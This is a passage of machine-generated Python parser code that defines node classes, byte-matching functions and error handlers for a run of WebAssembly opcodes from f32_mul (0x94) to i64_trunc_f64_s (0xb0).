_get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_sub' rule, at the expression:\n" ' 0x93\n\n' 'Expected to match the byte value 0x93' ) raise ParseError((title + details), _pos, line, col) class f32_mul(Node): """ class f32_mul { let id: 0x94 } """ _fields = () id = 0x94 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_mul()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_mul, fullparse) def _try_f32_mul(_text, _pos): # Begin Seq start_pos178 = _pos while True: # Begin Byte # 0x94 if (_pos < len(_text)) and (_text[_pos] == 148): _result = 148 _pos = (_pos + 1) _status = True else: _result = _raise_error1508 _status = False # End Byte if not (_status): break id = _result _result = f32_mul() _result._metadata.position_info = (start_pos178, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1508(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_mul' rule, at the expression:\n" ' 0x94\n\n' 'Expected to match the byte value 0x94' ) raise ParseError((title + details), _pos, line, col) class f32_div(Node): """ class f32_div { let id: 0x95 } """ _fields = () id = 0x95 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_div()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_div, fullparse) def _try_f32_div(_text, _pos): # Begin Seq start_pos179 = _pos while True: # Begin Byte # 0x95 if (_pos < len(_text)) and (_text[_pos] == 149): _result = 149 _pos = (_pos + 1) _status = True else: _result = _raise_error1512 _status = False # End Byte if not (_status): break id = _result _result = f32_div() _result._metadata.position_info = (start_pos179, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1512(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_div' rule, at the expression:\n" ' 0x95\n\n' 'Expected to match the byte value 0x95' ) raise ParseError((title + details), _pos, line, col) class f32_min(Node): """ class f32_min { let id: 0x96 } """ _fields = () id = 0x96 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_min()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_min, fullparse) def _try_f32_min(_text, _pos): # Begin Seq start_pos180 = _pos while True: # Begin Byte # 0x96 if (_pos < len(_text)) and (_text[_pos] == 150): _result = 150 _pos = (_pos + 1) _status = True else: _result = _raise_error1516 _status = False # End Byte if not (_status): break id = _result _result = f32_min() _result._metadata.position_info = (start_pos180, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1516(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_min' rule, at the expression:\n" ' 0x96\n\n' 'Expected to match the byte value 0x96' ) raise ParseError((title + details), _pos, line, col) class f32_max(Node): """ class f32_max { let id: 0x97 } """ _fields = () id = 0x97 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_max()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_max, fullparse) def _try_f32_max(_text, _pos): # Begin Seq start_pos181 = _pos while True: # Begin Byte # 0x97 if (_pos < len(_text)) and (_text[_pos] == 151): _result = 151 _pos = (_pos + 1) _status = True else: _result = _raise_error1520 _status = False # End Byte if not (_status): break id = _result _result = f32_max() _result._metadata.position_info = (start_pos181, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1520(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_max' rule, at the expression:\n" ' 0x97\n\n' 'Expected to match the byte value 0x97' ) raise ParseError((title + details), _pos, line, col) class f32_copysign(Node): """ class f32_copysign { let id: 0x98 } """ _fields = () id = 0x98 def __init__(self): Node.__init__(self) def __repr__(self): return f'f32_copysign()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f32_copysign, fullparse) def _try_f32_copysign(_text, _pos): # Begin Seq start_pos182 = _pos while True: # Begin Byte # 0x98 if (_pos < len(_text)) and (_text[_pos] == 152): _result = 152 _pos = (_pos + 1) _status = True else: _result = _raise_error1524 _status = False # End Byte if not (_status): break id = _result _result = f32_copysign() _result._metadata.position_info = (start_pos182, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1524(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f32_copysign' rule, at the expression:\n" ' 0x98\n\n' 'Expected to match the byte value 0x98' ) raise ParseError((title + details), _pos, line, col) class f64_abs(Node): """ class f64_abs { let id: 0x99 } """ _fields = () id = 0x99 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_abs()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_abs, fullparse) def _try_f64_abs(_text, _pos): # Begin Seq start_pos183 = _pos while True: # Begin Byte # 0x99 if (_pos < len(_text)) and (_text[_pos] == 153): _result = 153 _pos = (_pos + 1) _status = True else: _result = _raise_error1528 _status = False # End Byte if not (_status): break id = _result _result = f64_abs() _result._metadata.position_info = (start_pos183, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1528(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_abs' rule, at the expression:\n" ' 0x99\n\n' 'Expected to match the byte value 0x99' ) raise ParseError((title + details), _pos, line, col) class f64_neg(Node): """ class f64_neg { let id: 0x9a } """ _fields = () id = 0x9a def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_neg()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_neg, fullparse) def _try_f64_neg(_text, _pos): # Begin Seq start_pos184 = _pos while True: # Begin Byte # 0x9a if (_pos < len(_text)) and (_text[_pos] == 154): _result = 154 _pos = (_pos + 1) _status = True else: _result = _raise_error1532 _status = False # End Byte if not (_status): break id = _result _result = f64_neg() _result._metadata.position_info = (start_pos184, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1532(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_neg' rule, at the expression:\n" ' 0x9a\n\n' 'Expected to match the byte value 0x9a' ) raise ParseError((title + details), _pos, line, col) class f64_ceil(Node): """ class f64_ceil { let id: 0x9b } """ _fields = () id = 0x9b def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_ceil()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_ceil, fullparse) def _try_f64_ceil(_text, _pos): # Begin Seq start_pos185 = _pos while True: # Begin Byte # 0x9b if (_pos < len(_text)) and (_text[_pos] == 155): _result = 155 _pos = (_pos + 1) _status = True else: _result = _raise_error1536 _status = False # End Byte if not (_status): break id = _result _result = f64_ceil() _result._metadata.position_info = (start_pos185, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1536(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_ceil' rule, at the expression:\n" ' 0x9b\n\n' 'Expected to match the byte value 0x9b' ) raise ParseError((title + details), _pos, line, col) class f64_floor(Node): """ class f64_floor { let id: 0x9c } """ _fields = () id = 0x9c def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_floor()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_floor, fullparse) def _try_f64_floor(_text, _pos): # Begin Seq start_pos186 = _pos while True: # Begin Byte # 0x9c if (_pos < len(_text)) and (_text[_pos] == 156): _result = 156 _pos = (_pos + 1) _status = True else: _result = _raise_error1540 _status = False # End Byte if not (_status): break id = _result _result = f64_floor() _result._metadata.position_info = (start_pos186, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1540(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_floor' rule, at the expression:\n" ' 0x9c\n\n' 'Expected to match the byte value 0x9c' ) raise ParseError((title + details), _pos, line, col) class f64_trunc(Node): """ class f64_trunc { let id: 0x9d } """ _fields = () id = 0x9d def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_trunc()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_trunc, fullparse) def _try_f64_trunc(_text, _pos): # Begin Seq start_pos187 = _pos while True: # Begin Byte # 0x9d if (_pos < len(_text)) and (_text[_pos] == 157): _result = 157 _pos = (_pos + 1) _status = True else: _result = _raise_error1544 _status = False # End Byte if not (_status): break id = _result _result = f64_trunc() _result._metadata.position_info = (start_pos187, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1544(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_trunc' rule, at the expression:\n" ' 0x9d\n\n' 'Expected to match the byte value 0x9d' ) raise ParseError((title + details), _pos, line, col) class f64_nearest(Node): """ class f64_nearest { let id: 0x9e } """ _fields = () id = 0x9e def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_nearest()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_nearest, fullparse) def _try_f64_nearest(_text, _pos): # Begin Seq start_pos188 = _pos while True: # Begin Byte # 0x9e if (_pos < len(_text)) and (_text[_pos] == 158): _result = 158 _pos = (_pos + 1) _status = True else: _result = _raise_error1548 _status = False # End Byte if not (_status): break id = _result _result = f64_nearest() _result._metadata.position_info = (start_pos188, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1548(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_nearest' rule, at the expression:\n" ' 0x9e\n\n' 'Expected to match the byte value 0x9e' ) raise ParseError((title + details), _pos, line, col) class f64_sqrt(Node): """ class f64_sqrt { let id: 0x9f } """ _fields = () id = 0x9f def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_sqrt()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_sqrt, fullparse) def _try_f64_sqrt(_text, _pos): # Begin Seq start_pos189 = _pos while True: # Begin Byte # 0x9f if (_pos < len(_text)) and (_text[_pos] == 159): _result = 159 _pos = (_pos + 1) _status = True else: _result = _raise_error1552 _status = False # End Byte if not (_status): break id = _result _result = f64_sqrt() _result._metadata.position_info = (start_pos189, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1552(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_sqrt' rule, at the expression:\n" ' 0x9f\n\n' 'Expected to match the byte value 0x9f' ) raise ParseError((title + details), _pos, line, col) class f64_add(Node): """ class f64_add { let id: 0xa0 } """ _fields = () id = 0xa0 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_add()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_add, fullparse) def _try_f64_add(_text, _pos): # Begin Seq start_pos190 = _pos while True: # Begin Byte # 0xa0 if (_pos < len(_text)) and (_text[_pos] == 160): _result = 160 _pos = (_pos + 1) _status = True else: _result = _raise_error1556 _status = False # End Byte if not (_status): break id = _result _result = f64_add() _result._metadata.position_info = (start_pos190, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1556(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_add' rule, at the expression:\n" ' 0xa0\n\n' 'Expected to match the byte value 0xa0' ) raise ParseError((title + details), _pos, line, col) class f64_sub(Node): """ class f64_sub { let id: 0xa1 } """ _fields = () id = 0xa1 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_sub()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_sub, fullparse) def _try_f64_sub(_text, _pos): # Begin Seq start_pos191 = _pos while True: # Begin Byte # 0xa1 if (_pos < len(_text)) and (_text[_pos] == 161): _result = 161 _pos = (_pos + 1) _status = True else: _result = _raise_error1560 _status = False # End Byte if not (_status): break id = _result _result = f64_sub() _result._metadata.position_info = (start_pos191, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1560(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_sub' rule, at the expression:\n" ' 0xa1\n\n' 'Expected to match the byte value 0xa1' ) raise ParseError((title + details), _pos, line, col) class f64_mul(Node): """ class f64_mul { let id: 0xa2 } """ _fields = () id = 0xa2 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_mul()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_mul, fullparse) def _try_f64_mul(_text, _pos): # Begin Seq start_pos192 = _pos while True: # Begin Byte # 0xa2 if (_pos < len(_text)) and (_text[_pos] == 162): _result = 162 _pos = (_pos + 1) _status = True else: _result = _raise_error1564 _status = False # End Byte if not (_status): break id = _result _result = f64_mul() _result._metadata.position_info = (start_pos192, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1564(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_mul' rule, at the expression:\n" ' 0xa2\n\n' 'Expected to match the byte value 0xa2' ) raise ParseError((title + details), _pos, line, col) class f64_div(Node): """ class f64_div { let id: 0xa3 } """ _fields = () id = 0xa3 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_div()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_div, fullparse) def _try_f64_div(_text, _pos): # Begin Seq start_pos193 = _pos while True: # Begin Byte # 0xa3 if (_pos < len(_text)) and (_text[_pos] == 163): _result = 163 _pos = (_pos + 1) _status = True else: _result = _raise_error1568 _status = False # End Byte if not (_status): break id = _result _result = f64_div() _result._metadata.position_info = (start_pos193, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1568(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_div' rule, at the expression:\n" ' 0xa3\n\n' 'Expected to match the byte value 0xa3' ) raise ParseError((title + details), _pos, line, col) class f64_min(Node): """ class f64_min { let id: 0xa4 } """ _fields = () id = 0xa4 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_min()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_min, fullparse) def _try_f64_min(_text, _pos): # Begin Seq start_pos194 = _pos while True: # Begin Byte # 0xa4 if (_pos < len(_text)) and (_text[_pos] == 164): _result = 164 _pos = (_pos + 1) _status = True else: _result = _raise_error1572 _status = False # End Byte if not (_status): break id = _result _result = f64_min() _result._metadata.position_info = (start_pos194, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1572(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_min' rule, at the expression:\n" ' 0xa4\n\n' 'Expected to match the byte value 0xa4' ) raise ParseError((title + details), _pos, line, col) class f64_max(Node): """ class f64_max { let id: 0xa5 } """ _fields = () id = 0xa5 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_max()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_max, fullparse) def _try_f64_max(_text, _pos): # Begin Seq start_pos195 = _pos while True: # Begin Byte # 0xa5 if (_pos < len(_text)) and (_text[_pos] == 165): _result = 165 _pos = (_pos + 1) _status = True else: _result = _raise_error1576 _status = False # End Byte if not (_status): break id = _result _result = f64_max() _result._metadata.position_info = (start_pos195, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1576(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_max' rule, at the expression:\n" ' 0xa5\n\n' 'Expected to match the byte value 0xa5' ) raise ParseError((title + details), _pos, line, col) class f64_copysign(Node): """ class f64_copysign { let id: 0xa6 } """ _fields = () id = 0xa6 def __init__(self): Node.__init__(self) def __repr__(self): return f'f64_copysign()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_f64_copysign, fullparse) def _try_f64_copysign(_text, _pos): # Begin Seq start_pos196 = _pos while True: # Begin Byte # 0xa6 if (_pos < len(_text)) and (_text[_pos] == 166): _result = 166 _pos = (_pos + 1) _status = True else: _result = _raise_error1580 _status = False # End Byte if not (_status): break id = _result _result = f64_copysign() _result._metadata.position_info = (start_pos196, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1580(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'f64_copysign' rule, at the expression:\n" ' 0xa6\n\n' 'Expected to match the byte value 0xa6' ) raise ParseError((title + details), _pos, line, col) class i32_wrap_i64(Node): """ class i32_wrap_i64 { let id: 0xa7 } """ _fields = () id = 0xa7 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_wrap_i64()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_wrap_i64, fullparse) def _try_i32_wrap_i64(_text, _pos): # Begin Seq start_pos197 = _pos while True: # Begin Byte # 0xa7 if (_pos < len(_text)) and (_text[_pos] == 167): _result = 167 _pos = (_pos + 1) _status = True else: _result = _raise_error1584 _status = False # End Byte if not (_status): break id = _result _result = i32_wrap_i64() _result._metadata.position_info = (start_pos197, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1584(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_wrap_i64' rule, at the expression:\n" ' 0xa7\n\n' 'Expected to match the byte value 0xa7' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_f32_s(Node): """ class i32_trunc_f32_s { let id: 0xa8 } """ _fields = () id = 0xa8 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_f32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_f32_s, fullparse) def _try_i32_trunc_f32_s(_text, _pos): # Begin Seq start_pos198 = _pos while True: # Begin Byte # 0xa8 if (_pos < len(_text)) and (_text[_pos] == 168): _result = 168 _pos = (_pos + 1) _status = True else: _result = _raise_error1588 _status = False # End Byte if not (_status): break id = _result _result = i32_trunc_f32_s() _result._metadata.position_info = (start_pos198, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1588(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_f32_s' rule, at the expression:\n" ' 0xa8\n\n' 'Expected to match the byte value 0xa8' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_f32_u(Node): """ class i32_trunc_f32_u { let id: 0xa9 } """ _fields = () id = 0xa9 def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_f32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_f32_u, fullparse) def _try_i32_trunc_f32_u(_text, _pos): # Begin Seq start_pos199 = _pos while True: # Begin Byte # 0xa9 if (_pos < len(_text)) and (_text[_pos] == 169): _result = 169 _pos = (_pos + 1) _status = True else: _result = _raise_error1592 _status = False # End Byte if not (_status): break id = _result _result = i32_trunc_f32_u() _result._metadata.position_info = (start_pos199, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1592(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_f32_u' rule, at the expression:\n" ' 0xa9\n\n' 'Expected to match the byte value 0xa9' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_f64_s(Node): """ class i32_trunc_f64_s { let id: 0xaa } """ _fields = () id = 0xaa def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_f64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_f64_s, fullparse) def _try_i32_trunc_f64_s(_text, _pos): # Begin Seq start_pos200 = _pos while True: # Begin Byte # 0xaa if (_pos < len(_text)) and (_text[_pos] == 170): _result = 170 _pos = (_pos + 1) _status = True else: _result = _raise_error1596 _status = False # End Byte if not (_status): break id = _result _result = i32_trunc_f64_s() _result._metadata.position_info = (start_pos200, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1596(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_f64_s' rule, at the expression:\n" ' 0xaa\n\n' 'Expected to match the byte value 0xaa' ) raise ParseError((title + details), _pos, line, col) class i32_trunc_f64_u(Node): """ class i32_trunc_f64_u { let id: 0xab } """ _fields = () id = 0xab def __init__(self): Node.__init__(self) def __repr__(self): return f'i32_trunc_f64_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i32_trunc_f64_u, fullparse) def _try_i32_trunc_f64_u(_text, _pos): # Begin Seq start_pos201 = _pos while True: # Begin Byte # 0xab if (_pos < len(_text)) and (_text[_pos] == 171): _result = 171 _pos = (_pos + 1) _status = True else: _result = _raise_error1600 _status = False # End Byte if not (_status): break id = _result _result = i32_trunc_f64_u() _result._metadata.position_info = (start_pos201, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1600(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i32_trunc_f64_u' rule, at the expression:\n" ' 0xab\n\n' 'Expected to match the byte value 0xab' ) raise ParseError((title + details), _pos, line, col) class i64_extend_i32_s(Node): """ class i64_extend_i32_s { let id: 0xac } """ _fields = () id = 0xac def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_extend_i32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_extend_i32_s, fullparse) def _try_i64_extend_i32_s(_text, _pos): # Begin Seq start_pos202 = _pos while True: # Begin Byte # 0xac if (_pos < len(_text)) and (_text[_pos] == 172): _result = 172 _pos = (_pos + 1) _status = True else: _result = _raise_error1604 _status = False # End Byte if not (_status): break id = _result _result = i64_extend_i32_s() _result._metadata.position_info = (start_pos202, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1604(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_extend_i32_s' rule, at the expression:\n" ' 0xac\n\n' 'Expected to match the byte value 0xac' ) raise ParseError((title + details), _pos, line, col) class i64_extend_i32_u(Node): """ class i64_extend_i32_u { let id: 0xad } """ _fields = () id = 0xad def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_extend_i32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_extend_i32_u, fullparse) def _try_i64_extend_i32_u(_text, _pos): # Begin Seq start_pos203 = _pos while True: # Begin Byte # 0xad if (_pos < len(_text)) and (_text[_pos] == 173): _result = 173 _pos = (_pos + 1) _status = True else: _result = _raise_error1608 _status = False # End Byte if not (_status): break id = _result _result = i64_extend_i32_u() _result._metadata.position_info = (start_pos203, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1608(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_extend_i32_u' rule, at the expression:\n" ' 0xad\n\n' 'Expected to match the byte value 0xad' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_f32_s(Node): """ class i64_trunc_f32_s { let id: 0xae } """ _fields = () id = 0xae def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_f32_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_f32_s, fullparse) def _try_i64_trunc_f32_s(_text, _pos): # Begin Seq start_pos204 = _pos while True: # Begin Byte # 0xae if (_pos < len(_text)) and (_text[_pos] == 174): _result = 174 _pos = (_pos + 1) _status = True else: _result = _raise_error1612 _status = False # End Byte if not (_status): break id = _result _result = i64_trunc_f32_s() _result._metadata.position_info = (start_pos204, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1612(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_f32_s' rule, at the expression:\n" ' 0xae\n\n' 'Expected to match the byte value 0xae' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_f32_u(Node): """ class i64_trunc_f32_u { let id: 0xaf } """ _fields = () id = 0xaf def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_f32_u()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_f32_u, fullparse) def _try_i64_trunc_f32_u(_text, _pos): # Begin Seq start_pos205 = _pos while True: # Begin Byte # 0xaf if (_pos < len(_text)) and (_text[_pos] == 175): _result = 175 _pos = (_pos + 1) _status = True else: _result = _raise_error1616 _status = False # End Byte if not (_status): break id = _result _result = i64_trunc_f32_u() _result._metadata.position_info = (start_pos205, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error1616(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'i64_trunc_f32_u' rule, at the expression:\n" ' 0xaf\n\n' 'Expected to match the byte value 0xaf' ) raise ParseError((title + details), _pos, line, col) class i64_trunc_f64_s(Node): """ class i64_trunc_f64_s { let id: 0xb0 } """ _fields = () id = 0xb0 def __init__(self): Node.__init__(self) def __repr__(self): return f'i64_trunc_f64_s()' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_i64_trunc_f64_s, fullparse) def _try_i64_trunc_f64_s(_text, _pos): # Begin Seq start_pos206 = _pos while True: # Begin Byte # 0xb0 if (_pos < len(_text)) and (_text[_pos] == 176): _result = 176 _pos = (_pos + 1) _status = True else: _result = _raise_error1620 _status = False # End Byte if not 